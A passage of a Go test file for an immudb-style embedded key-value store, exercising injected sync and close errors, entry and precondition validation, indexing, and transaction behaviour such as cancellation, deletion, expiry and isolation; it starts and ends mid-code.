i)\n\t\t\tcheckApp.SyncFn = func() error { return injectedError }\n\n\t\t\topts := DefaultOptions().\n\t\t\t\tWithEmbeddedValues(false).\n\t\t\t\tWithSyncFrequency(time.Duration(1) * time.Second)\n\n\t\t\tstore, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tvar wg sync.WaitGroup\n\t\t\twg.Add(1)\n\n\t\t\tgo func() {\n\t\t\t\ttx, err := store.NewWriteOnlyTx(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = tx.Set([]byte(\"key\"), nil, []byte(\"value\"))\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t_, err = tx.AsyncCommit(context.Background())\n\t\t\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\t\t\twg.Done()\n\t\t\t}()\n\n\t\t\t// wait for the tx to be waiting for sync to happen\n\t\t\terr = store.inmemPrecommitWHub.WaitFor(context.Background(), 1)\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = store.Sync()\n\t\t\trequire.ErrorIs(t, err, injectedError)\n\n\t\t\terr = store.Close()\n\t\t\trequire.NoError(t, err)\n\n\t\t\twg.Wait()\n\n\t\t\tcheckApp.SyncFn = func() error { return nil }\n\t\t}\n\t})\n\n\t// Errors during close\n\tstore, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\trequire.NoError(t, err)\n\n\terr = store.aht.Close()\n\trequire.NoError(t, err)\n\n\terr = store.Close()\n\trequire.ErrorIs(t, err, ahtree.ErrAlreadyClosed)\n\n\tfor i, checkApp := range mockedApps {\n\t\tinjectedError = fmt.Errorf(\"Injected error %d\", i)\n\t\tcheckApp.CloseFn = func() error { return injectedError }\n\n\t\tstore, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.NoError(t, err)\n\n\t\terr = store.Close()\n\t\trequire.ErrorIs(t, err, injectedError)\n\n\t\tcheckApp.CloseFn = func() error { return nil }\n\t}\n\n\topts := DefaultOptions().\n\t\tWithMaxConcurrency(1).\n\t\tWithEmbeddedValues(false)\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tvar zeroTime time.Time\n\n\timmuStore.lastNotification = zeroTime\n\timmuStore.notify(Info, false, \"info message\")\n\timmuStore.lastNotification = zeroTime\n\timmuStore.notify(Warn, false, \"warn message\")\n\timmuStore.lastNotification = zeroTime\n\timmuStore.notify(Error, false, \"error message\")\n\n\ttx1, err := immuStore.fetchAllocTx()\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.fetchAllocTx()\n\trequire.ErrorIs(t, err, ErrMaxConcurrencyLimitExceeded)\n\n\timmuStore.releaseAllocTx(tx1)\n\n\t_, err = immuStore.NewTxReader(1, false, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = immuStore.DualProof(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = immuStore.DualProofV2(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tsourceTx := NewTx(1, 1)\n\tsourceTx.header.ID = 2\n\ttargetTx := NewTx(1, 1)\n\ttargetTx.header.ID = 1\n\n\t_, err = immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\trequire.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx)\n\n\t_, err = immuStore.DualProofV2(sourceTx.Header(), targetTx.Header())\n\trequire.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx)\n\n\t_, err = immuStore.LinearProof(2, 1)\n\trequire.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx)\n\n\t_, err = sourceTx.EntryOf([]byte{1, 2, 3})\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\tt.Run(\"validateEntries\", func(t *testing.T) {\n\t\terr = immuStore.validateEntries(make([]*EntrySpec, immuStore.maxTxEntries+1))\n\t\trequire.ErrorIs(t, err, ErrMaxTxEntriesLimitExceeded)\n\n\t\tentry := &EntrySpec{Key: nil, Value: nil}\n\t\terr = immuStore.validateEntries([]*EntrySpec{entry})\n\t\trequire.ErrorIs(t, err, ErrNullKey)\n\n\t\tentry = &EntrySpec{Key: make([]byte, immuStore.maxKeyLen+1), Value: make([]byte, 1)}\n\t\terr = immuStore.validateEntries([]*EntrySpec{entry})\n\t\trequire.ErrorIs(t, err, ErrMaxKeyLenExceeded)\n\n\t\tentry = &EntrySpec{Key: make([]byte, 1), Value: make([]byte, immuStore.maxValueLen+1)}\n\t\terr = immuStore.validateEntries([]*EntrySpec{entry})\n\t\trequire.ErrorIs(t, err, ErrMaxValueLenExceeded)\n\t})\n\n\tt.Run(\"validatePreconditions\", func(t *testing.T) {\n\t\terr = immuStore.validatePreconditions(nil)\n\t\trequire.NoError(t, err)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\tnil,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionNull)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyMustExist{},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionNullKey)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyMustExist{\n\t\t\t\tKey: make([]byte, immuStore.maxKeyLen+1),\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyMustNotExist{},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionNullKey)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyMustNotExist{\n\t\t\t\tKey: make([]byte, immuStore.maxKeyLen+1),\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyNotModifiedAfterTx{\n\t\t\t\tTxID: 1,\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionNullKey)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyNotModifiedAfterTx{\n\t\t\t\tKey:  make([]byte, immuStore.maxKeyLen+1),\n\t\t\t\tTxID: 1,\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded)\n\n\t\terr = immuStore.validatePreconditions([]Precondition{\n\t\t\t&PreconditionKeyNotModifiedAfterTx{\n\t\t\t\tKey:  []byte(\"key\"),\n\t\t\t\tTxID: 0,\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, ErrInvalidPreconditionInvalidTxID)\n\t})\n}\n\nfunc TestImmudbTxOffsetAndSize(t *testing.T) {\n\topts := DefaultOptions().WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\timmuStore.mutex.Lock()\n\tdefer immuStore.mutex.Unlock()\n\n\t_, _, err = immuStore.txOffsetAndSize(0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestImmudbStoreIndexing(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 1000\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\n\tfor f := 0; f < 1; f++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor {\n\t\t\t\ttxID, _ := immuStore.CommittedAlh()\n\n\t\t\t\tsnap, err := immuStore.SnapshotMustIncludeTxID(context.Background(), nil, txID)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor i := 0; i < int(snap.Ts()); i++ {\n\t\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(v, snap.Ts()-1)\n\n\t\t\t\t\t\tvalRef, err := snap.Get(context.Background(), k)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\trequire.ErrorIs(t, err, tbtree.ErrKeyNotFound)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tval, err := valRef.Resolve()\n\t\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\t\trequire.Equal(t, v, val)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif snap.Ts() == uint64(txCount) {\n\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(eCount-1))\n\n\t\t\t\t\t_, valRef1, err := immuStore.GetWithPrefix(context.Background(), k, nil)\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\tv1, err := valRef1.Resolve()\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\tvalRef2, err := snap.Get(context.Background(), k)\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\tv2, err := valRef2.Resolve()\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.Equal(t, v1, v2)\n\t\t\t\t\trequire.Equal(t, valRef1.Tx(), valRef2.Tx())\n\n\t\t\t\t\ttxs, hCount, err := immuStore.History(k, 0, false, txCount)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.Equal(t, txCount, len(txs))\n\t\t\t\t\trequire.Equal(t, txCount, int(hCount))\n\n\t\t\t\t\tsnap.Close()\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tsnap.Close()\n\t\t\t\ttime.Sleep(time.Duration(100) * time.Millisecond)\n\t\t\t}\n\t\t}()\n\t}\n\n\twg.Wait()\n\n\tif t.Failed() {\n\t\treturn\n\t}\n\n\terr = immuStore.FlushIndexes(-10, true)\n\trequire.ErrorIs(t, err, tbtree.ErrIllegalArguments)\n\n\terr = immuStore.FlushIndexes(100, true)\n\trequire.NoError(t, err)\n\n\tt.Run(\"latest set value should be committed\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"key\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"key\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key\"))\n\t\trequire.NoError(t, err)\n\n\t\tval, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value2\"), val)\n\n\t\tkey, _, err := immuStore.GetWithPrefix(context.Background(), []byte(\"k\"), []byte(\"k\"))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"key\"), key)\n\n\t\t_, err = immuStore.GetBetween(context.Background(), []byte(\"key\"), 1, valRef.Tx())\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestImmudbStoreRWTransactions(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\tt.Run(\"after closing write-only tx edge cases\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.Nil(t, tx.Metadata())\n\n\t\terr = tx.Set(nil, nil, []byte{3, 2, 1})\n\t\trequire.ErrorIs(t, err, ErrNullKey)\n\n\t\terr = tx.Set(make([]byte, immuStore.maxKeyLen+1), nil, []byte{3, 2, 1})\n\t\trequire.ErrorIs(t, err, ErrMaxKeyLenExceeded)\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, make([]byte, immuStore.maxValueLen+1))\n\t\trequire.ErrorIs(t, err, ErrMaxValueLenExceeded)\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1})\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrWriteOnlyTx)\n\n\t\t_, _, err = tx.GetWithPrefix(context.Background(), []byte{1}, []byte{1})\n\t\trequire.ErrorIs(t, err, ErrWriteOnlyTx)\n\n\t\terr = tx.Delete(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrWriteOnlyTx)\n\n\t\t_, err = tx.NewKeyReader(KeyReaderSpec{})\n\t\trequire.ErrorIs(t, err, ErrWriteOnlyTx)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0})\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\t_, err = tx.NewKeyReader(KeyReaderSpec{})\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\terr = tx.Cancel()\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\t})\n\n\tt.Run(\"cancelled transaction should not produce effects\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrWriteOnlyTx)\n\n\t\terr = tx.Cancel()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Cancel()\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(1), valRef.Tx())\n\t\trequire.Equal(t, uint64(1), valRef.HC())\n\t\trequire.Equal(t, uint32(4), valRef.Len())\n\t\trequire.Nil(t, valRef.KVMetadata())\n\t\trequire.Nil(t, valRef.TxMetadata())\n\t\trequire.Equal(t, sha256.Sum256([]byte{3, 2, 1, 0}), valRef.HVal())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte{3, 2, 1, 0}, v)\n\t})\n\n\tt.Run(\"read-your-own-writes should be possible before commit\", func(t *testing.T) {\n\t\t_, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, embedded.ErrKeyNotFound)\n\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, embedded.ErrKeyNotFound)\n\n\t\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.GetWithFilters(context.Background(), []byte(\"key1\"), nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, _, err = tx.GetWithPrefixAndFilters(context.Background(), []byte(\"key1\"), nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tkey, valRef, err := tx.GetWithPrefix(context.Background(), []byte(\"key1\"), []byte(\"key\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, key)\n\t\trequire.NotNil(t, valRef)\n\n\t\t_, _, err = tx.GetWithPrefix(context.Background(), []byte(\"key1\"), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, embedded.ErrKeyNotFound)\n\n\t\tr, err := tx.NewKeyReader(KeyReaderSpec{Prefix: []byte(\"key\")})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, r)\n\n\t\tk, _, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"key1\"), k)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, tbtree.ErrReadersNotClosed)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err = tx.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(0), valRef.Tx())\n\t\trequire.Equal(t, uint64(1), valRef.HC())\n\t\trequire.Equal(t, uint32(6), valRef.Len())\n\t\trequire.Nil(t, valRef.KVMetadata())\n\t\trequire.Nil(t, valRef.TxMetadata())\n\t\trequire.Equal(t, sha256.Sum256([]byte(\"value1\")), valRef.HVal())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1\"), v)\n\n\t\t_, err = immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, embedded.ErrKeyNotFound)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = tx.GetWithPrefix(context.Background(), []byte(\"key1\"), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t\tvalRef, err = immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\t\trequire.Equal(t, uint64(2), valRef.Tx())\n\n\t\tv, err = valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1\"), v)\n\t})\n\n\tt.Run(\"second ongoing tx after the first commit should succeed\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1_tx1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key1\"), nil, []byte(\"value1_tx2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\t\trequire.Equal(t, uint64(4), valRef.Tx())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1_tx2\"), v)\n\t})\n\n\tt.Run(\"second ongoing tx with multiple entries after the first commit should succeed\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1_tx1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key1\"), nil, []byte(\"value1_tx2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2_tx2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\t\trequire.Equal(t, uint64(6), valRef.Tx())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1_tx2\"), v)\n\t})\n\n\tt.Run(\"second ongoing tx after the first cancellation should succeed\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1_tx1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key1\"), nil, []byte(\"value1_tx2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\t\trequire.Equal(t, uint64(7), valRef.Tx())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1_tx2\"), v)\n\t})\n\n\tt.Run(\"deleted keys should not be reachable\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Delete(context.Background(), []byte{1, 2, 3})\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Delete(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\tr, err := tx.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix:  []byte{1, 2, 3},\n\t\t\tFilters: []FilterFn{IgnoreDeleted},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, r)\n\n\t\t_, _, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = immuStore.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t_, err = immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, _, err = immuStore.GetWithPrefixAndFilters(context.Background(), []byte{1, 2, 3}, nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tvalRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\t\trequire.True(t, valRef.KVMetadata().Deleted())\n\t\trequire.NotNil(t, valRef.KVMetadata())\n\t\trequire.False(t, valRef.KVMetadata().IsExpirable())\n\n\t\ttx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\n\t\tr, err = tx.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix:  []byte{1, 2, 3},\n\t\t\tFilters: []FilterFn{IgnoreDeleted},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, r)\n\n\t\t_, _, err = r.ReadBetween(context.Background(), 1, immuStore.TxCount())\n\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"non-expired keys should be reachable\", func(t *testing.T) {\n\t\tnearFuture := time.Now().Add(2 * time.Second)\n\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tmd := NewKVMetadata()\n\t\terr = md.ExpiresAt(nearFuture)\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"expirableKey\"), md, []byte(\"expirableValue\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte(\"expirableKey\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef)\n\n\t\tval, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"expirableValue\"), val)\n\n\t\ttime.Sleep(2 * time.Second)\n\n\t\t// already expired\n\t\t_, err = immuStore.Get(context.Background(), []byte(\"expirableKey\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\trequire.ErrorIs(t, err, ErrExpiredEntry)\n\n\t\t// expired entries can not be resolved\n\t\tvalRef, err = immuStore.GetWithFilters(context.Background(), []byte(\"expirableKey\"))\n\t\trequire.NoError(t, err)\n\t\t_, err = valRef.Resolve()\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\trequire.ErrorIs(t, err, ErrExpiredEntry)\n\n\t\t// expired entries are not returned\n\t\t_, err = immuStore.GetWithFilters(context.Background(), []byte(\"expirableKey\"), IgnoreExpired)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\trequire.ErrorIs(t, err, ErrExpiredEntry)\n\t})\n\n\tt.Run(\"expired keys should not be reachable\", func(t *testing.T) {\n\t\tnow := time.Now()\n\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tmd := NewKVMetadata()\n\t\terr = md.ExpiresAt(now)\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"expirableKey\"), md, []byte(\"expirableValue\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t// already expired\n\t\t_, err = immuStore.Get(context.Background(), []byte(\"expirableKey\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t// expired entries can not be resolved\n\t\tvalRef, err := immuStore.GetWithFilters(context.Background(), []byte(\"expirableKey\"))\n\t\trequire.NoError(t, err)\n\t\t_, err = valRef.Resolve()\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\trequire.ErrorIs(t, err, ErrExpiredEntry)\n\t})\n\n\tt.Run(\"transactions should not read data from anothers committed or ongoing transactions since it was created\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Delete(context.Background(), []byte(\"key2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key1\"), nil, []byte(\"value1_tx2\"))\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t// ongoing tranactions should not read committed entries since their creation\n\t\ttx11, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx11.Set([]byte(\"key1\"), nil, []byte(\"value1_tx11\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx11.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\t//\n\n\t\t_, err = tx3.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\terr = tx3.Set([]byte(\"key1\"), nil, []byte(\"value1_tx3\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr2, err := tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef2, err := 